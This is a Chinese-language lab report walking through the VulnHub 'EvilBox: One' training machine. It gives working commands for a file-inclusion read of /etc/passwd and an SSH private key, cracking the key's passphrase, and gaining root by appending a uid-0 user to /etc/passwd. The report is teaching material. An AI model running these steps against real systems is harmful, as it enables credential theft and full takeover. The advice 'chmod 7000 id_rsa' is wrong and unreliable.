【渗透测试】第八周 vulnhub-EvilBox:One
网络攻防实战 第八次实验
2022年11月8日
一、实验目的
取得目标靶机的 root 权限并获得两个 flag。
我们将使用到以下攻击手段:
- 主机发现、端口扫描
- 隐藏路径爆破
- 参数名爆破
- 文件包含漏洞的发现以及利用
- SSH 登入
- 私钥密码爆破
- 特定权限文件的发现
- 添加自定义用户记录
二、实验内容
kali: 10.0.2.15
靶机: 10.0.2.12
0x00. 准备工作
获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:
1
2sudo arp-scan -I eth0 -l
sudo nmap -p- 10.0.2.12 -A访问80端口发现是一个
Apache2 Debian
的默认页面,没有对渗透有帮助的信息:
0x01. 隐藏路径爆破
首先使用
dirsearch
进行路径爆破:找到了隐藏路径
/secret/
和隐藏文件robots.txt
。分别访问均没有获得有效信息。
ps:robots.txt
对
/secret/
做进一步路径爆破:直接使用
dirsearch
由于字典限制无法找到更多信息,此处使用gobuster
进行爆破。安装:apt install gobuster
安装字典:apt install seclists
渗透测试要尝试掌握多种工具
使用指定字典进行路径爆破:
1
gobuster dir -u http://10.0.2.12/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
除了主页文件之外,还发现一个 PHP 文件
evil.php
。直接通过 url 访问该文件发现只有一个空白页面,猜测可能需要通过GET
方法提供一个参数(即在 url 后添加某个参数)。
0x02. 参数名爆破
使用 ffuf
工具对该参数键值对(参数名和对应的值)进行爆破:
首先期望存在命令注入漏洞:
1
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u http://10.0.2.12/secret/evil.php?PARAM=ls -fs 0
- 选择字典文件 burp-parameter-names.txt 作为参数名;
- 命令
ls
作为参数值。
进行爆破后,为获得有效结果,爆破失败。
期望存在文件包含漏洞:
1
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u http://10.0.2.12/secret/evil.php?PARAM=../index.html -fs 0
- 选择字典文件 burp-parameter-names.txt 作为参数名;
- 已知存在的主页文件的路径作为参数值。
爆破成功,结果显示需要提供的参数名为
command
。查看靶机文件验证漏洞存在:
1
http://10.0.2.12/secret/evil.php?command=/etc/passwd
查看返回页面源码:
读取了靶机上的
/etc/passwd
文件,确认存在文件包含漏洞。
0x03. SSH 私钥密码爆破
通过分析上述文件内容,发现靶机中除 root 用户外还存在一个
mowree
用户拥有登录权限,其主目录为/home/mowree
.尝试获取其被允许的 SSH 登录方式:1
ssh mowree@10.0.2.12 -v # debug模式
发现除了允许输入对应密码登录外还可以使用密钥登录。
通过文件包含漏洞查看靶机上该用户的私钥:
1
http://10.0.2.12/secret/evil.php?command=/home/mowree/.ssh/id_rsa
将其保存在文件
id_rsa
中。使用指定私钥登录靶机:
1
# ssh mowree@10.0.2.12 -i id_rsa
发现需要输入私钥的密码:
考虑对其进行爆破。
如果出现报错:
这是说密钥文件权限不能为0644,0644权限太开放了,要求你的密钥文件不能被其它用户读取。
修改权限为7000即可:
1
chmod 7000 id_rsa
将密钥文件转换为
john
可用的 hash 文件:1
# /usr/share/john/ssh2john.py ./id_rsa > id_rsa.hash
使用
john
进行爆破:1
john id_rsa.hash --wordlist=rockyou.txt
该字典文件可通过在 kali 上使用 locate 指令搜索得到
成功获取私钥密码
unicorn
。成功登入靶机:
0x04. 信息收集
查看当前目录下的文件,获取第一个 Flag:
Flag1:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
当前用户路径下没有其他有价值的文件,在靶机上寻找用户可以写入的文件:
1
find / -perm -o+w -maxdepth 3 -print | grep -v /dev| grep -v /sys | grep -v /proc | grep -v /boot | grep -v /run > res.txt
find指令的使用:https://blog.csdn.net/m0_46674735/article/details/112390027
使用find命令按权限查找文件:https://www.iplayio.cn/post/596968725
-o+w:查找其他用户有写权限的文件,(由于期望目标文件所有者是 root,我们目前的用户相对 root 即为 other users);
-maxdepth:从根目录开始搜索的最大深度为3;
-print:将输出结果写入标准输出文件;
grep -v /dev| grep -v /sys | grep -v /proc | grep -v /boot | grep -v /run:
忽略以上目录下的搜索结果;
> res.txt:将标准输出重定向为 res.txt 文件,即将筛选后的搜索结果保存在该文件中。
查看搜索结果,发现
/etc/passwd
文件竟然可以被其他用户写入:进一步验证:
1
ls /etc/passwd -al
发现我们确实具有写权限。
设想如果我们在其中插入一条具有 root 权限的密码自定义的用户记录,切换到我们自定义的用户即可获取 root 权限。
0x05. 自定义 root 用户
首先需要在 kali 上对我们自定义的密码进行加密。使用工具
openssl
:1
openssl passwd
这里我输入的明文密码为
test123
。使用得到的密码密文,参照 passwd 文件中 root 用户的记录自定义一条用户记录:
1
test123:$1$5zwm/pYB$109Okt6Ql.GcBYi/z16xT1:0:0:root:/root:/bin/bash
将该记录追加在
/etc/passwd
文件中:1
echo 'test123:$1$5zwm/pYB$109Okt6Ql.GcBYi/z16xT1:0:0:root:/root:/bin/bash' >> /etc/passwd
切换到用户
test123
:1
su test123
成功提权。
切换到 root 目录,发现第二个 Flag:
Flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM
三、实验结果
Flag1:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
Flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM
root:
四、总结
- 根据发现的端口首先通过浏览器访问靶机的80端口,发现没有有效信息,考虑隐藏路径爆破;
- 使用
dirsearch
爆破到存在/secret/
路径,但是继续爆破无果。换用gobuster
进行路径爆破,最终找到一个 PHP 文件evil.php
; - 直接访问返回空白页,推测其可能需要一个参数,使用
ffuf
进行参数名的爆破,最终发现存在文件包含漏洞; - 通过文件包含漏洞查看文件
/etc/passwd
,发现一个可以登录的用户mowree
。使用 ssh 尝试登录发现该用户还支持私钥认证登录; - 通过文件包含漏洞获取靶机对应路径下的私钥,并使用
john
对私钥密码进行爆破; - 成功登入靶机后,发现当前用户对
/etc/passwd
文件具有写权限,添加一个具有 root 身份的密码自定义的用户记录; - 使用我们自定义的密码切换至上述自定义用户,成功获取 root 权限。
五、思路拓展
对于一个文件包含漏洞,可以首先尝试有没有远程文件包含漏洞,如果有即可让其执行 kali 的 web 服务上的一句话木马或反弹 shell 等攻击脚本。(本次实验中不存在该漏洞)
也可以考虑先编码,再通过文件包含漏洞读出编码后的 PHP 代码,可以实现避免执行代码而是读取代码的内容。这里可以尝试将
evil.php
读出:1
http://10.0.2.12/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==
通过 icyberchef 进行解码:
1
2
3
4
$filename = $_GET['command'];
include($filename);成功获取到
evil.php
的源码。尝试进行写入,如果成功则可以通过此漏洞写入一句话木马脚本:
1
2http://10.0.2.12/secret/evil.php?command=php://filter/write=convert.base64-
decode/resource=test.php&txt=MTIz尝试访问预期生成的文件,发现返回404,说明该方法在当前靶机上不可用。但也是一种漏洞利用的好思路。